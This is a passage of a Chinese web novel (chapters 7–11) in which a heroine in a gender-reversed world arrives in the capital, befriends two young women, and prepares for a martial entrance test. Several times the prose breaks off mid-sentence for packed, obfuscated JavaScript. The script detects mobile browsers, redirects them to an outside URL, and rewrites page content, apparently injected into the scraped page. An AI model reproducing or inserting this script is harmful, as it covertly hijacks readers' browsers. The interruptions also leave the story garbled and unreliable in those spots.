《拥有男频待遇后她爽翻了》 7. 第 7 章 逃婚成功,陆锦澜带着幸福的心情一路游山玩水。十天后,终于抵达。 三人都是十六七岁的年纪,正是体力充沛精力旺盛的时候。神京遥遥千余里,仿佛睡了一觉就到了。初入京城,大家满眼都是新鲜,她干脆抽了两张银票,给庆儿和洗墨做零花钱,褒奖二人一路的悉心照料。 陆锦澜出发时把自己的小金库整箱带着,还顺了陆今朝的三万两银票。盘缠充足,她干脆寻了京中最大的客栈住下,一口气包了三间上房。 陌生的地界,让洗墨这样胆大的姑娘都觉得有些忐忑。 三人安顿后,洗墨便道:“我曾听邹管家说过,您的表姨母也在京中,经营着几家绸缎庄子。您是小辈,既然到了京里,理应去拜会一下,大家都姓陆,日后有个什么事,也好照应一二。可惜咱们是偷偷出来的,没有地址,我想去打听一下开绸缎庄姓陆的,碰碰运气。” 陆锦澜微微点头,正在铺床的庆儿哼笑一声,“倒也没那么麻烦,过年时候姨老娘不是往咱们府上送过一车绸缎吗?箱子上写了铺子的名字,叫什么‘云’来着?前一个字太复杂,我不认得。” 陆锦澜来了兴致,“你写出来,我们猜猜看。” 庆儿歪歪扭扭鬼画符似的弄了个字出来,洗墨端详半天,只能辨认出左边一个王字旁,右边像幅画,山下面挂着几道好长的瀑布。 洗墨:“实在认不出,我去打听姓陆的、开绸缎庄、叫什么云的铺子好了。” 陆锦澜探过头来,忽然福至心灵,“打听一下瑞云绸缎庄吧,应该没错。另外,咱家在京中也有几处产业。这次老娘过寿,京城的掌柜我都见过了。你们两个拿上我的印信,一起去铺面上打个招呼,就说我人已经到了,家里若来人找,让她们告诉一声。” 庆儿忙道:“我们都出去了,您一个人做什么?” “我?”陆锦澜唰一声撑开折扇,“闲坐饮茶,看看京城的风景。” 庆儿和洗墨意味深长的对视一眼,心道:怕不是看风景,是看男人吧? 二人走后,陆锦澜提着剑找个家临街的茶楼,一边喝茶一边盯着来来往往的男人,做系统的日常任务。 她觉得自己被男频精神腌入味了,竟然越来越神经了。看着看着,不由自主的品评起来。心想京城到底是都城,繁华远胜云州,人杰地灵,连这里男儿都长得格外周正。 “咳。” 一声轻咳打断她的思绪,陆锦澜抬头一看,一位十五六岁的年轻女子不知何时来到跟前,笑吟吟的看着她。 那人抱了抱拳,“这位仁姊,一看咱们就是同道中人。可否容我坐下,闲聊几句?” 陆锦澜见她衣着华贵,也不像蹭吃蹭喝的人。身后还跟着两个女侍,定是大家之女。于是便点了点头,“请。” “在下姓陆,初到神京,还不晓得这里的风土人情。你刚才说与我是同道,何解?” “原来是陆少娘,在下姓晏,本地人。我方才见陆少娘一直盯着过往的男子看,实不相瞒,本人也酷爱男色,咱们这不算同道吗?” 陆锦澜一口茶差点呛在嗓子里,笑道:“晏少娘误会了,本人只是爱看,跟你的爱好应该有所不同。” 晏少娘不以为然,“此言差矣,看是第一步,有了第一步就有第二步第三步,早晚的事。女人好色,天经地义,没什么不敢承认的。京城的青楼,满是为了钱献身的男儿和为了色一掷千金的女子,大家各取所需,完美极了。陆少娘不必羞涩,说说你喜欢什么样的男子,咱们交流一二。” 陆锦澜揉了揉眉心,淡淡道:“我喜欢相貌英俊的,身型嘛,要高大,身材适中。我既不喜欢太干瘦的,也不喜欢肌肉过于发达的,薄肌最好。” “有品味!”晏少娘当即竖起大拇指,赞道:“英雌所见略同。太痩的像老腊肉,一点汁水都没有,嚼着塞牙。肌肉过多的像做败了的红烧肉,油脂都没收干净,腻得慌。不肥不痩正好,用着舒服。” “……”陆锦澜不知道如何接话,她越听越不对劲。这位晏少娘爹味好重,男频系统要是给她,她肯定能如鱼得水运用得炉火纯青。 晏少娘还在继续发表品男论,“其实不止相貌身材,好男儿的性格也分三六九等。” 完了,点评完外貌还要点评性格?陆锦澜小声嘀咕道:“三百六十度评价男人,我们女凝是不是太过分了?” “哎呦!”陆锦澜久违的挨了系统一拳。 客服老太警告:「让你莫名其妙的自我反省,违背男频精神,扣五分。」 晏少娘吓了一跳,“陆少娘,你怎么了?” “没事,你讲得太好,我忍不住为你拍案。”陆锦澜顺势捶了下桌子,“其实,说到性格,我也有自己的见解。” “请赐教。” 陆锦澜揉着肩膀,无奈道:“就我个人而言,不喜欢温顺柔弱的。” 晏少娘眼睛一亮,“高见!我也是如此想,太温顺了没性格,太柔弱了没意思。” “当然我也不喜欢太倔强的,累人。” “没错,倔驴似的,谁稀罕?” 陆锦澜点头道:“最好是沉静中带着些许温柔,温柔中又不失坚韧。胸有惊雷而面如平湖,腹有诗书,宠辱不惊,再风趣些最好。” 晏少娘听得呆了,“如你所说,确实是极品。可你说的这些特质,更像是女人,这世上有这样的男人吗?男人有几个会读书的?大多数都想嫁个有钱的女人,从此锦衣玉食,生女育儿。说到底,都是依附咱们女人过日子罢了。” 陆锦澜一瞬间有好多话涌上心头,男人不上学难道不是因为男人上学无用论,反正早晚要嫁人吗?从小告诉他们要嫁个好女人,男学天天教他们怎么勤俭持家伺候妻主,读个屁书。 再说,社会给男人提供平等的工作岗位了吗?很多岗位压根不招男的,提拔重用的只选女的。这种情况下,大多数男人只能做菟丝花,哪有选择?「作话:有注」 她是这么想,但她一个字也不敢说。这些话要是说出来,系统能把她揍到生命条消失,当场死亡。 她紧抿着唇,又喝了口茶。 晏少娘又问:“对了陆少娘,你对拜金男怎么看?” 陆锦澜微笑道:“实话说,我并不觉得爱钱有什么问题。拜金不是抢劫,姊妹们若不喜欢,不找那样的男人就是了,人家又不逼着你给钱。这也是各取所需的事儿,一边享用一边抱怨,就有些不地道了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16220236|181489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,莫不是想白用?” 晏少娘若有所思的点了点头,“听起来的确有些道理,可你就不怕自己遇到那样的?” 陆锦澜笑着摇头,“在下颇有家资,他若是为了钱必然不会失望。在下也自认有几分才学,哪怕他一开始为了钱,留在我身边也会发现我有别的好。你呢?你是怕人家只图你有钱,还是除了有钱之外,你没别的可图?” 晏少娘心虚的移开目光,“那我……我自然也是有几分才学的。再说,谈情说爱的事儿,跟才学有什么关系?情趣才更重要。我不强迫男人的,不过我还没遇到过不喜欢本少娘的男人。” 陆锦澜笑笑不说话,晏少娘忽然呆呆的看向街面,“陆少娘稍坐,我发现了一个极品,且等我去拿下。” 只见晏少娘快步跑到路对面,拦住了一位白衣公子的去路。 那位公子背对着陆锦澜,她只能看到他挺拔的身型。两人对话依稀传来,那公子的声音低沉清润,颇为悦耳。 “冒昧打扰请勿见怪,只是我见你一个英俊男人独自出门,多有不便。请问公子要去哪儿?在下的马车就停在不远处,护送你去,如何?” “那,麻烦少娘了。” “不麻烦不麻烦!”晏少娘高兴得喜笑颜开,连忙招呼两个女侍去取车。 那位公子又道:“我走了许久的路,有些口渴,少娘可否去帮我要杯茶。” “当然可以!”晏少娘跟被狗撵似的,小跑着进了茶肆去要茶水。 陆锦澜轻叹一声,心说:“这位公子也未免太那个了,可惜……”余光里白影儿一闪,那位公子快步转进了一条巷子。 陆锦澜连忙丢下茶钱,鬼使神差的跟了上去。 她脚步很轻,不远不近的跟着,对方也没察觉。直到那位公子进了一家书斋,陆锦澜看了眼招牌,也迈步进了雅居书舍。 “老板,有天和元年的《兵法详解》吗?” 头发全白的老板仔细打量着来人,“你倒会找,这本书早就绝版了,整个京城就我这儿有一本。不过只借不卖,押金二十两。” 二十两是个天价,可那位公子似乎不在乎,忙道:“二十两我有。” 老板一摆手,“我还没说完,借也只能凭学籍借,不然有借无还,我去找谁要呢?” “学籍?”那位公子似乎犯了难。 “对啊,你是帮你姐姐借还是妹妹借?拿她们的学籍凭证来。” “我自己借。”他的声音越来越低。 “自己?小公子,你倒是生得好看,可你读得懂兵书吗?男学的学籍可不能作数哦。” 陆锦澜躲在书架后,看着那位公子为难的样子,暗叹:怪不得晏少娘刚才那般,果真是世间无双的容貌。 哪怕他此刻神情不悦,依然看得人心神激荡,如饮酒一般,莫名的陶然。 公子还没有放弃,诚恳的商量道:“我用一百两银票做定金,半个月就还回来。” 老太太摆了摆手,有些不高兴了,“没得商量,这是女人看的书,你别捣乱了。” 陆锦澜款步上前,开口道:“我也想借这本书。不过,我身上没带学籍凭证,倒有一张皇家学院的选拔资格通知书,可以吗?” 8. 第 8 章 陆锦澜从袖中取出通知书,老板已经震惊的站了起来。她伸出苍老的双手,十分恭敬道:“可否容我一观?” 皇家学院的名头,嬅国上下无人不知无人不晓。学院要求极为严苛,嬅国亿万人口,每年新生录取总数不到百人。 这百人中,有二三十位皇族亲贵之女,有五六十位神京本地的精英学生,余下的十几个名额便是留给各地州府顶尖学生争夺的。所以,谁都知道外地生获得选拔资格的含金量。 老板喃喃道:“若论身份富贵,这京中皇亲国戚不计其数。若论才学,定是每年从京外十六州赶来参与皇家学院选拔的十数位翘楚。据老妇所知,您需先在本地考试中至少位列前三甲,对吧?” 陆锦澜微微一笑,“我侥幸拔得头筹。” 老板笑道:“这话谦虚了,各地前三甲的试卷还需送到御前,由皇上亲自甄选。近五十份试卷,每年能进京参选的却不足二十人。少娘你能中选,必定是大才。名扬天下,指日可待。” 老板说着将书奉上,“小店承蒙惠顾,与有荣焉。你不必登记,我也不收你的押金,只管将书拿去看,等到选拔结束,再来还书。” 那位公子听到这儿,灰心的转身离开。陆锦澜跟老板说了几句客套话,忙将东西收好,大步追了上去。 “请等一下!”陆锦澜将书递给白衣公子,“拿去看,半月后送回来,就说是替我还的。” 男人愣了一下,“你是替我借的?你觉得……我能看懂兵书?” 陆锦澜轻笑一声,“你能准确的找到这家书舍,还知道书名和年份,为了借书不惜花费重金。我猜你是识字的爱读书的,怎么会看不懂呢?” 男人眼眸一暗,苦笑道:“绝大多数女人都认为男人看不懂兵书。” 陆锦澜摇了摇头,“性别歧视是一种愚昧的偏见,我并非那样的蠢货。” “你真要借给我?” “是。” 男人接下那本书,面上却露出几分难色,“那你想要我做什么?” “嗯?”陆锦澜诧异了一下,忽然明白这位公子把她当成晏少娘那种人了。 她勾了勾嘴角,“虽然公子你确实品貌无双,气质不凡,但我帮你只是出于侠义之心,绝没有别的目的。” “是吗?”男人也笑了,深邃的五官微微舒展,凝视着她的眼睛,语带笑意:“以我的经验,这是不可能发生的事。” 该怎么形容顶级容貌的魅力呢?陆锦澜并不是个肤浅的人,但看着他笑,还是感觉到心神晃动。“迷人”这个词此刻不是形容,而是写实。 陆锦澜莫名的想要在他面前维持清高的形象,抱拳道:“那在下立刻告辞,以示诚意。” 可转身的瞬间她就后悔了,抛开外型不谈,这位公子的性格绝对和这里的大部分男人不一样。 这里的男人都被规训得太好了,像陆贤陆惠那种的,明明小小的年纪,已经是一身的贤夫良父气质,活脱脱像现代早些年苦情剧里无限度自我牺牲的好媳妇。 其实,这也是陆锦澜抗拒成婚的理由之一。 她不想娶那样的男人,她和他们的精神世界没有交集,无法想象如何共同生活。哪怕对方贤惠温柔,她也会觉得别扭,跟娶了自己太奶似的,和清朝人躺一张床实在难受。 跟那些男人比起来,这位白衣公子显得很是新派。他读书识字,还喜欢研读兵法,陆锦澜真想和他多聊一聊。 可大话已经说了,自己把自己架在那儿,只好迈开大步往前走。怎么才能再遇到他呢? 茫茫人海,连他姓氏名谁都不知道,去哪儿找? 要不,找个借口,再回去聊几句? 陆锦澜一咬牙猛地转身,差点撞上大步追来的白衣公子。两人俱是一愣,场面颇为堂皇。 “我……” “我……” 男人笑道:“我也要往这边走,可否同行一段路?” 陆锦澜喜出望外,“当然,我有个问题忘了问,正要回去找你。” “什么问题?” 两人相伴着往前走,陆锦澜语气轻快的打开了话匣子。 “你在街上为什么要捉弄晏少娘?” “她是你的朋友吗?” “算不上,今天偶然结识的。” 男人满意的点了点头,“我看她和少娘你也不像同道中人,那人轻浮,让我厌烦。捉弄她一下,让她长个记性,看她下次还敢不敢当街拦人。” 陆锦澜又问:“那你为什么不一开始就拒绝她的搭讪呢?” 男人诚恳的回答:“我虽然略通拳脚,但她是个女人,我不知道对方武功深浅,不想给自己惹麻烦。我拒绝她,万一她恼羞成怒,事情倒不好办了。我又是外地人,强龙压不过地头蛇,还是谨慎为妙。” 陆锦澜笑道:“没想到你还会武功,文武双全。” “只是略懂而已,家母思想新潮,从小把我当女儿养,让我读书识字学习武艺。不过……”说到这儿,他忽然顿了一下,眼底闪过一丝愁绪。 “不过什么?” “不过她还是觉得,我应该早点嫁人。我今年十七岁了,家里正在给我议亲。” 陆锦澜顿时感同身受,“议亲的对象你满意吗?” 男人连连摇头,陆锦澜道:“那你就不该成亲,实不相瞒,我家里也是这样,所以我一气之下跑出来了。” 男人很是震撼,“女人也会逃婚吗?我以为大多数女人都会接受家里的安排,先娶个男人摆在家里。反正不论喜欢与否,都可以再娶,想娶多少娶多少。” 陆锦澜意味深长的笑了笑,“我不属于大多数,我是极少数。” 男人嘴角微扬,“那我今天运气真好。” 说完大概觉得这话过于暧昧,怕她误会,又尴尬的补了句:“遇见好人了。” 怎么还给我发上好人卡了?陆锦澜笑不出来。 可一抬头,更尴尬的事儿发生了。她刚才随便选了个方向走,两人竟然走到了死胡同。 空气凝结了一霎,陆锦澜立刻狡辩:“京城路况复杂,我们都是外地人,看来都记错路了。不过从这儿能听见街上的声响,穿过几户人家应该就到街面上了。” 她说着一跃登上墙头,男人仰望着她,眼底有几分跃跃欲试的兴奋,但还是问了句:“我们这样是不是不太好?” “怕什么?上来,跟我走。”陆锦澜朝他伸出手,男人握住她的手腕,借力飞身一跃也站上了墙头。 两人踩着石墙和瓦砾往前,本想静悄悄过去,却被狗发现了。这片家家都养狗,一只狗叫起来,瞬间有十几只狗应和。屋子里的人烦躁的摔门出来,“你们是干什么?给我下来!” “快跑!”陆锦澜拉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你怎么回事儿?”两人同时发问,瞬间就吵了起来。 陆锦澜赶过去,只见猎户拧着眉心疼的擦拭着猪肉上的尘土,“你把我猪肉都弄脏了,你赔!” “嘿?真有意思。你弄脏我的衣服,我还没让你赔呢!你知道我这料子多贵,这可是织了金线的,你卖十头猪都赔不起。” “你不撞我,怎么会弄脏你的衣服?” “你不撞我,你猪肉会掉吗?” “我好好的走着,明明是你突然撞过来。” “不是你扛着这么一大坨猪,我会躲不开吗?” 陆锦澜眼看着两个越吵越激烈,连忙劝和:“算了算了,大家都不是故意的,都消消气。晏少娘,你又不差这一件衣服,算了吧。” 晏少娘冷哼一声,“我给陆少娘个面子,算了,我自认倒霉,不要你赔了。” “不行,”那猎户固执得很,“街面上没有不允许扛猪的规定,我扛猪没有错,你撞上来就是你的不对。这一面猪肉都沾了土,割掉才能卖。你害我至少少卖十斤猪肉,四十文一斤,你赔我四百文。” 晏少娘都被气笑了,开始撸袖子,“四百文是吧?我给你四两,但我今天必须揍你一顿。” 9. 第 9 章 “别别别!”眼看场面又要升级,陆锦澜连忙抱住晏少娘,“两位,都别说了。你们谁也不用赔,我赔,还不行吗?” 她想着这猎户穷苦人家出身,赚点钱不容易。晏少娘也确实有很大的损失,好在她无所谓,她愿意出这个钱。 陆锦澜摸出钱袋,“我给你四百文,再给你赔衣服,总行了吧?” 她以为自己想出了天才的解决办法,没想到两人都不同意。 “什么意思?本少娘难道差钱?”晏少娘哼了一声,转身就走。 “又不是你弄掉的,我不要你的钱。”猎户拾起了半扇猪肉,也走了。 陆锦澜捏着钱袋茫然的站了一会儿,喃喃念叨:“都不领情,当我愿意?我是大冤种啊?” 晚上,洗墨和庆儿回来,兴冲冲的汇报她交办的事项。 “我们稍一打听就找到瑞云绸缎庄了,有十几家分铺。掌柜的听说咱们是亲戚,亲自派人送我们到姨老娘府上。不过今儿姨老娘不在家,没能见着。姨老娘的夫郎见了我们,听说您来了,很是高兴,已经吩咐人收拾出了院子,让您明儿就搬到家里去住。” 陆锦澜兴致不高的应了一声,“再说吧,我还是喜欢住客栈,亲戚家倒觉得拘束。” 庆儿道:“那您想个妥当的由头,拒了吧。表姨母又不是亲姨母,我也觉得不好过分打搅。” “嗯,咱家的铺子去打招呼了吗?” 洗墨道:“都去说了,到云州参加寿宴的掌柜的日夜兼程赶在咱们前面入京,这两天正着人满京城找您呢。见着我们都快哭了,高兴得跟什么似的。说要来拜见少主,我替您回绝了,说您温书呢,不得空,回头考上了再去见她们。” 陆锦澜满意的点了点头,“事儿办得不错,今天总算有件让我顺心的事了。” 庆儿好奇道:“你今天遇到什么事了?” 陆锦澜长叹一声,只觉一言难尽。一回想都觉得憋屈,遇到了位白衣公子,好心好意帮他借书,结果被他耍了。好心好意的劝架,结果当事双方都怼了她,好心被当做驴肝肺。 这些丢脸的事陆锦澜一个字也不想告诉别人,只是简单粗暴的总结了一句:“神京,到处都是神经病。” 选拔之期将至,陆锦澜去表姨母府上做了两次客,其余时间都在修习武术备战武考。 她在系统里学了一堆,自己却没实战过,也拿不准是什么水平。于是她去武馆聘请了一位师傅,跟她每天对练,把脑海中的招式运用出来,集训了十来天。 仔细算算,从她每晚挂系统自动修习武术到现在,总共不到两个月。跟那些从小刻苦习武的人比起来,实在是差得太多。都怪陆今朝,太溺爱孩子。搞得陆锦澜文武双废,干什么都得恶补。 报到那天,陆锦澜心里还是七上八下的。 皇家学院的武试选拔是京中盛事,第一天虽然只是报到登记,让大家上台试试兵器,已经吸引了不少看热闹的群众。 陆锦澜拿着通知书排队登记,意外发现了两个熟悉的面孔,那两个不领情的神经病。 晏少娘应该是已经录取的神京本地考生,明天就是她们这些已录取的新生和外地生抽签对打。 那天扛猪的大力少娘排在陆锦澜前面登记,陆锦澜看了一眼她的名字,项如蓁(zhēn)。 陆锦澜登记完,项如蓁已经一个飞身上了擂台。 她没有自备的武器,从公共的兵器架上抽了一杆铁枪,握在手中试了试。 “哎,哪来的猎户?”台上一名本地生语带嘲讽的问。 项如蓁认真的回答:“我从勉州来的。” 四周传来一阵哄笑,那人扬起手中的银枪,“敢不敢陪我练练手?” 项如蓁的神情冷冷的,没有一丝被嘲讽的怒意,只是语气平常的回答:“可以。” 四周闲杂人等迅速退散,两杆长枪在擂台上碰撞在一起,发声砰一声巨响。 本地生仓惶退后了两步,眼里闪过一丝慌乱。 陆锦澜默默勾起嘴角,笑着看戏。 一定很疼吧?她曾亲眼看着项如蓁单手提起半只野猪,她都不敢想她的手劲儿有多大。 那名本地生和项如蓁一交手,就知道自己挑衅错人了。连忙使出浑身解数,全力硬敌。 两人打得火花四溅,引得台下一声声叫好。 外行看热闹,内行看门道,陆锦澜现在算半个内行。 她能明显看出来台上这俩人的长短处,项如蓁天生神力,骨骼精壮,是个练武的天才。不过,应该没有好师傅教导,招式都是烂大街的,或者现想的,仿佛想怎么出招就怎么出招,没有套路可寻。 那位本地生就不一样了,一看就是训练有素,招式较为精妙。二人对战,项如蓁纯靠力量压制,起初本地生还能靠令人眼花缭乱的招数进攻几次。 可项如蓁很快适应了她的打法,不出二十招,那人就被打得只有招架之功,毫无还手之力了。 陆锦澜瞥见晏少娘也在另一侧观看,生怕她还记恨着,会与项如蓁为难,便悄悄凑了过去。 果然听见晏少娘的侍从低声道:“台上那个猎户不是在街上和您冲突的那人吗?要不要咱们使点手段,让她明天不能录取?” 晏少娘专心看着台上的打斗,闻声冷冷的瞥了那侍从一眼,“如此卑劣的手段,配得上我高贵的出身吗?” 侍从羞愧的低下了头,晏少娘压低了声音:“滚回家去,以后不许跟我出门。” “是。” 陆锦澜微微一笑,上前勾住她的肩膀,“看不出来啊,晏少娘除了好男色,还如此正直,咱们正式交个朋友吧?” 她友好的伸出手,晏少娘看了她一眼,“你竟然是来参加选拔的?我也没看出来,你除了好男色,还颇有才学。” 她握住她伸出的手,“晏无辛。” “陆锦澜。” 终于在这个世界交到朋友了,陆锦澜高兴道:“打个赌吧,猜猜台上还有几招结束,输了的人请吃饭。” “我猜十招之内。” “我猜三招之内。” 话音未落,砰一声巨响,本地生的银枪被铁枪弹飞,正式结束了这场较量。 “好!”台下爆发出震耳欲聋的喝彩。 项如蓁将铁枪放回兵器架,陆锦澜立刻拉着晏无辛围上来。 “真巧,我们又见面了。” “你早说你有这么好的身手,我那天就赔你四百文了。英雌惜英雌嘛,就当交个朋友。” 项如蓁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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陆锦澜连连摆手,“不不不,无辛开个玩笑,我也没那个意思,就是看了几眼。” “是吗?”项如蓁不太信,语重心长的劝道:“圣人云,朋友郎不可抢,我们读书人应该谨记。” 陆锦澜和晏无辛对视了一眼,晏无辛:“不好,我们好像把学监请到家里了。” 陆锦澜哈哈大笑,“如蓁,你不要这么古板好不好,你今年多大?” 三人一对年龄,项如蓁十七岁。晏无辛和陆锦澜同岁,都是十六。又问生日,两人竟然只差了一天,陆锦澜九月初六,晏无辛九月初七。 晏无辛很是高兴,“真是巧,今天高兴,必须痛饮一场。” 陆锦澜忙道:“明天还有考试,酒就算了,以茶代酒就好。” 席面很快摆上,无酒无歌,实在寡淡。 晏无辛:“我前儿才听说云州状元诗才了得,一直想见一见,不曾想就是你陆锦澜。可否露一手,让我们长长眼?” 又来了。陆锦澜放下手中的鸡腿,轻叹一声,“好。” 这该死的虚荣心!为了博得新朋友们的喜爱,只好麻烦一下李太白了。 《将进酒》——梦会李白偶得一作。 为了应景,她将诗中人物稍作改动。“岑夫子丹丘生”变成了“晏无辛项如蓁”,一首诗写完,晏无辛朝外面高喊:“把我珍藏的好酒挖出来!” 她紧紧握住陆锦澜的手,“你说得对,人生得意须尽欢,咱们至少得喝一杯,不枉你写了这首好诗。” 陆锦澜犹豫的看向项如蓁,“你怎么说?” 10. 第 10 章 项如蓁沉吟片刻,一本正经道:“确实是好诗,堪称千古佳作,喝三杯吧。” 最后,当然不止三杯。 第二天早上,晏无辛的近侍叶游过来叫起。 一开门,差点惊掉下巴。 刀枪剑戟横七竖八的躺在地上,差点把她绊一个跟头。梨花木的桌子裂成了两半,杯盘狼藉散落一地。最让她不能理解的是顶棚上扎着的三支箭,她实在想不出怎么会射到棚顶上去。 时候不早了,她小心翼翼的迈过地上的东西,开始叫人。 “少娘,快醒醒!” 叶游掀开被子的一角,却是一张凌厉深邃的陌生面孔。她连忙去掀另一面,那人长得玉质金相,也不是她家少娘。 叶游急得将被子一把扯掉,在二人脚下把晏无辛拖了出来。 “小少娘,快醒醒,今天考试!” “考试?”项如蓁大喊一声猛地睁开眼,“快醒醒!” “嗯?”晏无辛迷蒙的睁开眼,大脑又沉又涨,“糟了!来不及了,快把锦澜叫醒。” “她醉得太厉害,我先把她带去考场再说。”项如蓁像扛猪一样把昏睡的陆锦澜扛到肩上,揉着眼睛就往外走。 “等等我。”晏无辛试图跟上,却在下床的那刻脚下一软,扑通一声摔倒在地。 陆锦澜一睁眼大头朝下,胃里翻江倒海,她使劲儿拍了拍项如蓁的背,“快放我下来,我要吐了。” 落地的瞬间,陆锦澜狼狈得扑向一旁。 晏无辛摔得七荤八素,听见声音忙冲出来,“这可是我的锦鲤池,我的锦鲤……哕……” 叶游追出来,看见两人在池边大吐特吐,而项如蓁焦急的在一旁催促着:“吐完了吗?可以走了吗?” 叶游朝外面高声道:“快来人伺候,煮醒酒汤!” 训练有素的仆脚步快得吓人,不同的人拿着不同的器具,三人飞快的洗漱一番,爬进了同一辆马车。 陆锦澜一拍脑袋,“我的剑!” 晏无辛迅速掀开帘子吩咐一声:“把陆少娘的剑和我的凤鸣长刀送到考场。” “她们会准时送过来的,放心吧,我们人先到就好。不一定先抽到你们,上场前兵器一定送到。” 陆锦澜看着自己的双手,有些心虚,“不知道怎么回事,我手有点疼,希望不要影响上场。” “我知道怎么回事。”晏无辛依稀记得一点昨晚的片段,“你和如蓁对打弄得。” 陆锦澜努力回想,昨晚自从喝酒开始,事情就朝着荒谬的方向发展。 不得不说,喝醉了她们少了清醒时的克制,更像十六七岁的少年人。因为彼此欣赏,迅速打成一片,然后开始一起做美梦。 晏无辛:“真希望你们两个都能录取,如果我们在一起,接下来的三年我一定非常快乐。” 陆锦澜:“我有信心,如蓁呢?” 项如蓁:“志在必得。” 陆锦澜:“说起来,你的枪法跟谁学的?” 项如蓁:“你看着像跟谁学的?” 陆锦澜噗嗤一笑:“我看着你像没学过,纯靠力量取胜。” 项如蓁微微点头,“能取胜就够了,靠什么不重要。你还不知道我是天生神力,不信咱俩现在练练?” 在本地生挑衅项如蓁的时候,陆锦澜就猜想过跟项如蓁交手一定会手痛。 真轮到自己,才发现不仅是手痛,连半条手臂都被震得发麻。哪怕睡了一觉,醒来还是手疼。 项如蓁也模糊的记起昨晚的片段,不过,她诧异的看向自己的手,“我怎么也手疼?” 陆锦澜好心告知:“那张梨木桌是你拍裂的。” “啊……”项如蓁歉然的看向晏无辛,“那四百文不用你赔了。” 晏无辛苦涩一笑,“你们两个醉鬼,我真是懒得跟你们算账。弄烂我一张好桌子,一池子鱼怕也不能要了。你们还手痛?有我痛吗?我不仅手痛,我全身都痛。” 陆锦澜和项如蓁对视一眼,心虚的不敢说话。 昨晚一开始是陆锦澜和项如蓁对打来着,但两人很快发现,力量太过悬殊。一个天生神力,平日勤学苦练。一个天生弱鸡,才练了不到两个月。 项如蓁喝了酒有点不知道轻重,陆锦澜每接她一招,都疼得想转身就跑。 她使出系统里学习的各种轻功、身法、顶级剑法,硬顶了三十招,实在受不了了,就让晏无辛去给项如蓁当陪练。 晏无辛是从小接受系统的武学教育,拜过许多名师,对天下各家武学都有涉猎,堪称十八般武器样样精通。酒精上头,大家都不想在新朋友面前丢脸,她拿出看家的本事,用各种兵器陪项如蓁练了大半个时辰。 晏小少娘彼时已经精疲力竭大汗淋漓了,面上仍然故作轻松。谁知屁股还没沾到椅子上,陆锦澜就说:“你陪我也练一会吧。” 就这么着,晏无辛一对二,当了一宿的陪练。一觉醒来,身上跟被马踩了似的,疼得她龇牙咧嘴。 临考前弄成这样,三人各有各的惭愧,各自捧着疼痛的爪子陷入沉思。 陆锦澜有些惭愧,今天的考试事关前途命运,昨晚实在不该放纵。 她想,晏无辛已经是录取生了,没有什么可怕的。至于她自己,考不上大不了回云州做她的富二代,但她为项如蓁担忧。 勉州穷苦之地,如蓁家境又不富裕,真无法想象她要付出多少辛苦,才能拿到这张入京通知书。千辛万苦来到京城,若真因为这顿酒误了前程,实在可惜。 陆锦澜:“如蓁,如果因为陪我们喝酒而影响了考试,你会不会恨我们?” 项如蓁摇头,“不会,又不是你们逼着我喝的,为什么要恨你们?” 陆锦澜笑了笑,没说话。她之前一直觉得项如蓁有点死心眼,现在想想死心眼也有死心眼的好处,她特别讲道理。 项如蓁又道:“这点小问题,不会影响考试的。我想做的事,一定会做成。今天在擂台上只会有两个结果,要么我赢,要么我死。” 她说这话的时候漫不经心的看着窗外,语气却无比的坚定。 陆锦澜和晏无辛深吸一口气,都觉得不至于如此。 晏无辛想开口说什么,陆锦澜却按住她的手腕,示意她不要说。 她们这样出身的人,根本不明白“前程”二字对穷人意味着什么,更没资格劝别人活得轻松点。那种规劝,听起来会很像嘲讽。 马车终于抵达考场,谢天谢地,因为今年围观的百姓格外多,附近交通堵塞,考生考官都被堵在路上,开考时间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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周围抱怨声此起彼伏,晏无辛低声道:“你俩别紧张,毫不吹嘘的说,我的功夫在神京本地生中算上上等。昨天那个和如蓁对打的本地生,也是本地生中的翘楚,不然她哪敢那么狂妄?” 晏无辛说着看向陆锦澜,“我倒不担心如蓁,我担心你。你的身体情况比一般的习武之人都要弱,要格外当心。” 陆锦澜心说那也是没有办法,起点太低了,自从她接手这个身体之后,已经尽量练了。 有系统的加持,她现在的身体跟两个月前比,已是天差地别。昨晚她和二人打得有来有回,心里已然十分骄傲。但要想一下子练出别人十几年的成果,那是不可能的。 陆锦澜暗暗发誓,等考完了,她一定好好休习内功。这些天光顾着练招式身法,内功都落下了。她暗怪系统还是不够强大,一晚上只能挂一项在梦中学习。要是能挂十项,她今天就不用这么紧张了。 不一会,监考官到了,兵器也送到了。武试马上开始,清点人数的教工派人叫晏无辛坐回自己的位置。晏无辛无奈的起身,目光扫过待上场的本地考生,忽然惊愕道:“她怎么会在?” 二人忙问:“谁?” “凌照人,她不算是本地考生,是皇亲之女。皇亲不必参加文武两试,都是直接录取。可她怎么来了?难道她要上场?” 陆锦澜不解道:“她上场又怎样?” 晏无辛担忧道:“此人是定北侯凌之静的女儿,她娘手握重兵,她生父是皇上的亲弟弟。她家武学渊源,又是练武奇才,所以武艺极高,且一贯好勇斗狠。她若是上场,根本不会管别人死活。你们两个若是遇到她,千万小心,保命要紧。” 陆锦澜深吸一口气,得赶紧想个办法,她可不想死。 11. 第 11 章 